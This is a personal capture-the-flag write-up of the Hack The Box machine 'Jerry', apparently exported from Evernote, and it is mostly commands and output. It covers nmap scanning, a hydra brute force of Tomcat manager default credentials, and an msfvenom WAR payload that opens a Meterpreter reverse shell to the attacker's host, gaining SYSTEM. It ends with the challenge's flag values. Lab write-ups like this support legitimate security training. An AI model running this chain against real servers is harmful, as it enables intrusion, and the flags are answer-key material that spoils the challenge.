


Jerry_pwned

Jerry: 10.10.10.95 | my: 10.10.16.3

 Jerry.pdf

685 kB

nmap -Pn 10.10.10.95

```
(biddion@Biddion)-[~/Downloads/hackthebox]
$ nmap -Pn 10.10.10.95
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-30 10:37 KST
Nmap scan report for 10.10.10.95
Host is up (0.26s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE
8080/tcp  open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 28.06 seconds
```

Ping sweep show port 8080 is open

sudo nmap -sS -O 10.10.10.95 -o hostdiscovery.txt

```
(biddion@Biddion)-[~/Downloads/hackthebox]
$ sudo nmap -sS -O 10.10.10.95 -o hostdiscovery.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-30 10:41 KST
Nmap scan report for 10.10.10.95
Host is up (0.50s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE
8080/tcp  open  http-proxy
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.56 seconds
```

Identified as Windows Server 2012

nmap -Pn -sV -sC 10.10.10.95



















```
(biddion@Biddion)-[~/Downloads/hackthebox/Jerry]
$ nmap -Pn -sV -sC 10.10.10.95
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-30 10:46 KST
Nmap scan report for 10.10.10.95
Host is up (0.26s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
8080/tcp  open  http      Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.39 seconds
```

nmap -sC -sV -oA nmap/jerry 10.10.01.95

Going to 10.10.10.95:8080


10.10.10.95:8080

-C...  Python  OtherResources  FullStack  AWS  Linux        Misc  OSINT search  How to check i...  Build wordpre...  


Home Documentation Configuration Examples Wiki Mailing Lists

Find Help

Apache Tomcat/7.0.88



If you're seeing this, you've successfully installed Tomcat. Congratulations!



Recommended Reading:

[Security Considerations HOW-TO](#)
[Manager Application HOW-TO](#)
[Clustering/Session Replication HOW-TO](#)

Server Status

Manager App

Host Manager

https://www.evernote.com/client/web#?b=106a392b-683a-4593-42fb-903d166cfc1c&n=494b68d8-9006-813d-f90d-a7423d28f2f7&

1/6

Developer Quick Start

[Tomcat Setup](#)
[First Web Application](#)

[Realms & AAA](#)
[JDBC DataSources](#)

[Examples](#)

[Servlet Specifications](#)
[Tomcat Versions](#)

Managing Tomcat

For security, access to the [manager webapp](#) is restricted. Users are defined in:

\$CATALINA_HOME/conf/tomcat-users.xml

In Tomcat 7.0 access to the manager application is split between different users.
[Read more...](#)

[Release Notes](#)
[Changelog](#)
[Migration Guide](#)
[Security Notices](#)

Documentation

[Tomcat 7.0 Documentation](#)
[Tomcat 7.0 Configuration](#)
[Tomcat Wiki](#)

Find additional important configuration information in:

\$CATALINA_HOME/RUNNING.txt

Developers may be interested in:

[Tomcat 7.0 Bug Database](#)
[Tomcat 7.0 JavaDocs](#)
[Tomcat 7.0 SVN Repository](#)

Getting Help

[FAQ and Mailing Lists](#)

The following mailing lists are available:


[tomcat-announce](#)
Important announcements, releases, security vulnerability notifications. (Low volume).


[tomcat-users](#)
User support and discussion

[taglibs-user](#)
User support and discussion for [Apache Taglibs](#)

[tomcat-dev](#)
Development mailing list, including commit messages

Click Server Status > Enter admin/admin





Server Status

Manager

[List Applications](#)

[HTML Manager Help](#)

[Manager Help](#)

[Complete Server Status](#)

Server Information

Tomcat Version	JVM Version	JVM Vendor	OS Name	OS Version	OS Architecture	Hostname	IP Address
Apache Tomcat/7.0.88	1.8.0_171-b11	Oracle Corporation	Windows Server 2012 R2	6.3	amd64	JERRY	10.10.10.95

OS

Physical memory: 4095.48 MB Available memory: 3451.98 MB Total page file: 4799.48 MB Free page file: 3859.01 MB Memory load: 15
Process kernel time: 0.968 s Process user time: 5.375 s

JVM

Free memory: 96.88 MB Total memory: 123.75 MB Max memory: 247.50 MB

Memory Pool	Type	Initial	Total	Maximum	Used
Eden Space	Heap memory	34.12 MB	34.12 MB	68.31 MB	6.84 MB (10%)
Survivor Space	Heap memory	4.25 MB	4.25 MB	8.50 MB	4.24 MB (49%)
Tenured Gen	Heap memory	85.37 MB	85.37 MB	170.68 MB	15.77 MB (9%)
Code Cache	Non-heap memory	2.43 MB	7.43 MB	240.00 MB	7.20 MB (3%)
Compressed Class Space	Non-heap memory	0.00 MB	2.12 MB	1024.00 MB	1.93 MB (0%)
Metaspace	Non-heap memory	0.00 MB	18.37 MB	-0.00 MB	17.73 MB

"http-apr-8080"

Max threads: 200 Current thread count: 10 Current thread busy: 1 Keep alive sockets count: 0
Max processing time: 313 ms Processing time: 0.547 s Request count: 52 Error count: 11 Bytes received: 0.00 MB Bytes sent: 0.44 MB

Stage	Time	B Sent	B Recv	Client (Forwarded)	Client (Actual)	VHost	Request
R	?	?	?	?	?	?	
S	15 ms	0 KB	0 KB	10.10.16.3	10.10.16.3	10.10.10.95	GET /manager/status HTTP/1.1
R	?	?	?	?	?	?	
R	?	?	?	?	?	?	
R	?	?	?	?	?	?	

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive

<http://10.10.10.95:8080/manager/status>
<http://10.10.10.95:8080/manager/html>
<http://10.10.10.95:8080/host-manager/html>

CommonTomCatCredentials

 TomCatCredentials.txt

3 kB

get seclists from apt or gethub

```
cd /usr/share/seclists  
find . | grep tomcat
```

```
(biddion@Biddion) - [ /usr/share/seclists ]  
$ find . | grep tomcat  
./Discovery/Web-Content/tomcat.txt  
./Passwords/Default-Credentials/tomcat-betterdefaultpasslist_base64encoded.txt  
./Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
```

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html

```
(biddion@Biddion) - [ /usr/share/seclists ]  
$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html
```



```
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-30 11:43:53
[DATA] max 16 tasks per 1 server, overall 16 tasks, 79 login tries, ~5 tries per task
[DATA] attacking http-get://10.10.10.95:8080/manager/html
[8080][http-get] host: 10.10.10.95 login: admin password: admanager
[8080][http-get] host: 10.10.10.95 login: admin
[8080][http-get] host: 10.10.10.95 login: admin password: admin
[8080][http-get] host: 10.10.10.95 login: admin password: admin
[8080][http-get] host: 10.10.10.95 login: admin password: adtomcat
[8080][http-get] host: 10.10.10.95 login: admin password: advagrant
[8080][http-get] host: 10.10.10.95 login: admin password: vagrant
[8080][http-get] host: 10.10.10.95 login: admin password: adrole1
[8080][http-get] host: 10.10.10.95 login: admin password: adroot
[8080][http-get] host: 10.10.10.95 login: admin password: tomcat
[8080][http-get] host: 10.10.10.95 login: both password: admanager
[8080][http-get] host: 10.10.10.95 login: ADMIN password: ADMIN
[8080][http-get] host: 10.10.10.95 login: admin password: Password1
[8080][http-get] host: 10.10.10.95 login: admin password: ads3cret
[8080][http-get] host: 10.10.10.95 login: admin password: password
[8080][http-get] host: 10.10.10.95 login: admin password: password1
[8080][http-get] host: 10.10.10.95 login: both password: advagrant
[8080][http-get] host: 10.10.10.95 login: both password: adrole1
[8080][http-get] host: 10.10.10.95 login: both password: admin
[8080][http-get] host: 10.10.10.95 login: both password: adroot
[8080][http-get] host: 10.10.10.95 login: both password: ads3cret
[8080][http-get] host: 10.10.10.95 login: both password: adtomcat
[8080][http-get] host: 10.10.10.95 login: both password: tomcat
[8080][http-get] host: 10.10.10.95 login: manager password: admin
[8080][http-get] host: 10.10.10.95 login: manager password: admanager
[8080][http-get] host: 10.10.10.95 login: cxsdk password: kdsxc
[8080][http-get] host: 10.10.10.95 login: j2deployer password: j2deployer
[8080][http-get] host: 10.10.10.95 login: manager password: adroot
[8080][http-get] host: 10.10.10.95 login: manager password: adtomcat
[8080][http-get] host: 10.10.10.95 login: manager password: advagrant
[8080][http-get] host: 10.10.10.95 login: manager password: adrole1
[8080][http-get] host: 10.10.10.95 login: manager password: ads3cret
[8080][http-get] host: 10.10.10.95 login: role1 password: admin
[8080][http-get] host: 10.10.10.95 login: manager password: manager
[8080][http-get] host: 10.10.10.95 login: role1 password: adroot
[8080][http-get] host: 10.10.10.95 login: role1 password: adrole1
[8080][http-get] host: 10.10.10.95 login: ovwebusr password: OvW*busr1
[8080][http-get] host: 10.10.10.95 login: QCC password: QLogic66
[8080][http-get] host: 10.10.10.95 login: role1 password: admanager
[8080][http-get] host: 10.10.10.95 login: role1 password: role1
[8080][http-get] host: 10.10.10.95 login: root password: admanager
[8080][http-get] host: 10.10.10.95 login: role1 password: tomcat
[8080][http-get] host: 10.10.10.95 login: role1 password: ads3cret
[8080][http-get] host: 10.10.10.95 login: role password: changethis
[8080][http-get] host: 10.10.10.95 login: role1 password: advagrant
[8080][http-get] host: 10.10.10.95 login: role1 password: adtomcat
[8080][http-get] host: 10.10.10.95 login: root password: admin
[8080][http-get] host: 10.10.10.95 login: root password: adrole1
[8080][http-get] host: 10.10.10.95 login: root password: adroot
[8080][http-get] host: 10.10.10.95 login: root password: adtomcat
[8080][http-get] host: 10.10.10.95 login: root password: ads3cret
[8080][http-get] host: 10.10.10.95 login: tomcat password: admin
[8080][http-get] host: 10.10.10.95 login: root password: advagrant
[8080][http-get] host: 10.10.10.95 login: tomcat password: admanager
[8080][http-get] host: 10.10.10.95 login: tomcat password: ads3cret
[8080][http-get] host: 10.10.10.95 login: tomcat password: adroot
[8080][http-get] host: 10.10.10.95 login: tomcat password: admin
[8080][http-get] host: 10.10.10.95 login: tomcat password: adrole1
[8080][http-get] host: 10.10.10.95 login: tomcat password: adtomcat
[8080][http-get] host: 10.10.10.95 login: tomcat password: advagrant
[8080][http-get] host: 10.10.10.95 login: tomcat password: changethis
[8080][http-get] host: 10.10.10.95 login: tomcat password: password
[8080][http-get] host: 10.10.10.95 login: tomcat password: password1
[8080][http-get] host: 10.10.10.95 login: tomcat password: s3cret
[8080][http-get] host: 10.10.10.95 login: tomcat password: s3cret
[8080][http-get] host: 10.10.10.95 login: server_admin password: owaspbwa
[8080][http-get] host: 10.10.10.95 login: demo password: demo
[8080][http-get] host: 10.10.10.95 login: xampp password: xampp
1 of 1 target successfully completed, 69 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-30 11:43:58
```

OR

HYDRA_PROXY_HTTP=http://127.0.0.1:8080 hydra -vv -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt -s 8080

10.10.10.95 http-get /manager/html

Burp Suite Proxy

Logging in to /manager/html

< > C 88 | Not secure 10.10.10.95:8080/manager/html/

경희대학교 e-c...

Python

OtherResources

FullStack

AWS

Linux

Misc


OSINT search


How to checki...

Build wordpre...

How to Install...

THE APACHE®





Tomcat Web Application Manager

Message:

OK

Manager

List Applications

HTML Manager Help

Manager Help

Server Status

Applications

Path	Version	Display Name	Running	Sessions	Commands
/	None specified	Welcome to Tomcat	true	0	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>
/docs	None specified	Tomcat Documentation	true	0	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>
/examples	None specified	Servlet and JSP Examples	true	0	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>
/host-manager	None specified	Tomcat Host Manager Application	true	0	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>
/manager	None specified	Tomcat Manager Application	true	1	<div>Start Stop Reload Undeploy</div> <div>Expire sessions with idle ≥ 30 minutes</div>

Deploy

Deploy directory or WAR file located on server

Context Path (required):

XML Configuration file URL:

WAR or Directory URL:

Deploy

WAR file to deploy

Select WAR file to upload

Choose File

No file chosen

Deploy

< > ↺ ☰ | ⚠ Not secure 10.10.10.95:8080/examples/

📁 📺 🏠 🌐 📄

경희대학교 e-c... 📧 📁 Python 📁 OtherResources 📁 Fu...

Apache Tomcat Examples

- Servlets examples
- JSP Examples
- WebSocket (JSR356) Examples
- WebSocket Examples using the deprecated Apache Tomcat proprietary API

```
msfvenom -l payloads
    list payloads

msfvenom -l formats
    find war format
    --format war

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.3 LPORT=9001 -f war -o PleaseSubscribe.war

LINUX
du -hs PleaseSubscribe*
```

```
msfdb run - starts db and runs metasploit

msf6 > search exploit
  • search multi/handler
  • use exploit/multi/handler
  • set payload windows/x64/meterpreter/reverse_tcp
  • set LHOST tun0
  • set LPORT 9001
  • exploit -j
```

Port 9001 failed so switched to 9002

msf6 > use 5

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

payload ⇒ windows/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST tun0

LHOST ⇒ tun0

msf6 exploit(multi/handler) > set LHOST tun0

LHOST ⇒ tun0

https://www.evernote.com/client/web/#?b=106a392b-683a-4593-42fb-903d166cfc1c&n=494b68d8-9006-813d-f90d-a7423d28f2f7&

4/6


```
msf6 exploit(multi/handler) > set LPORT 9001
LPORT => 9001
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.16.3:9001
msf6 exploit(multi/handler) > exploit
[-] Handler failed to bind to 10.10.16.3:9001:- -
[-] Handler failed to bind to 0.0.0.0:9001:- -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9001).
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > set LPORT 9002
LPORT => 9002
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.16.3:9002
[]
```

Uploaded payload successfully but shell refuses to work

Applications					
Path	Version	Display Name	Running	Sessions	Commands
/	None specified	Welcome to Tomcat	true	0	Start <input type="button" value="Stop"/> <input type="button" value="Reload"/> <input type="button" value="Undeploy"/> <input type="button" value="Expire sessions"/> with idle ≥ <input type="text" value="30"/> minutes
/PleaseSubscribe	None specified		true	0	Start <input type="button" value="Stop"/> <input type="button" value="Reload"/> <input type="button" value="Undeploy"/> <input type="button" value="Expire sessions"/> with idle ≥ <input type="text" value="30"/> minutes
/PleaseSubscribe3	None specified		true	0	Start <input type="button" value="Stop"/> <input type="button" value="Reload"/> <input type="button" value="Undeploy"/> <input type="button" value="Expire sessions"/> with idle ≥ <input type="text" value="30"/> minutes
					Start <input type="button" value="Stop"/> <input type="button" value="Reload"/> <input type="button" value="Undeploy"/> <input type="button" value="Expire sessions"/> with idle ≥ <input type="text" value="30"/> minutes

```
(biddion@Biddion)-[~/Downloads/hackthebox/Jerry/newnew]
$ unzip PleaseSubscribe3.war
Archive: PleaseSubscribe3.war
  creating: META-INF/
  inflating: META-INF/MANIFEST.MF
  creating: WEB-INF/
  inflating: WEB-INF/web.xml
  inflating: yjjkcsqq.jsp

(biddion@Biddion)-[~/Downloads/hackthebox/Jerry/newnew]
```

MANUALLY FINDING THE PAYLOAD

10.10.10.95:8080/PleaseSubscribe3/yjjkcsqq.jsp

```
LPORT => 9002
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.16.3:9002
[*] Sending stage (200262 bytes) to 10.10.10.95
[*] Meterpreter session 1 opened (10.10.16.3:9002 → 10.10.10.95:49192 ) at 2021-12-30 16:10:37 +0900

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > ifconfig

Interface 1
=====
Name           : Software Loopback Interface 1
Hardware MAC   : 00:00:00:00:00:00
MTU            : 4294967295
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 12
=====
Name           : Intel(R) 82574L Gigabit Network Connection
Hardware MAC   : 00:50:56:b9:b6:bb
MTU            : 1500
IPv4 Address   : 10.10.10.95
IPv4 Netmask   : 255.255.255.0

Interface 13
=====
Name           : Microsoft ISATAP Adapter
Hardware MAC   : 00:00:00:00:00:00
MTU            : 1280
IPv6 Address   : fe80::5efe:a0a:a5f
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

meterpreter > sessions -i 1
Meterpreter session 1
```

```
Usage: sessions <id>
```

Interact with a different session Id.

This works the same as calling this from the MSF shell: sessions -i <session id>

```
meterpreter >
```

meterpreter > help

getuid

shell

```
meterpreter > getuid
```

Server username: NT AUTHORITY\SYSTEM

```
meterpreter > shell
```

Process 1616 created.

Channel 1 created.

Microsoft Windows [Version 6.3.9600]

(c) 2013 Microsoft Corporation. All rights reserved.

```
C:\apache-tomcat-7.0.88>
```

```
Directory of C:\Users\Administrator\Desktop\flags
```

```
06/19/2018  06:09 AM    <DIR>          .
06/19/2018  06:09 AM    <DIR>          ..
06/19/2018  06:11 AM                88 2 for the price of 1.txt
               1 File(s)                88 bytes
               2 Dir(s) 27,602,137,088 bytes free
```

```
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
```

type "2 for the price of 1.txt"

user.txt

7004dbcef0f854e0fb401875f26ebd00

root.txt

04a8b36e1545a455393d067e772fe90e

```
C:\Users\Administrator\Desktop\flags>
```

user.txt

7004dbcef0f854e0fb401875f26ebd00

root.txt

04a8b36e1545a455393d067e772fe90e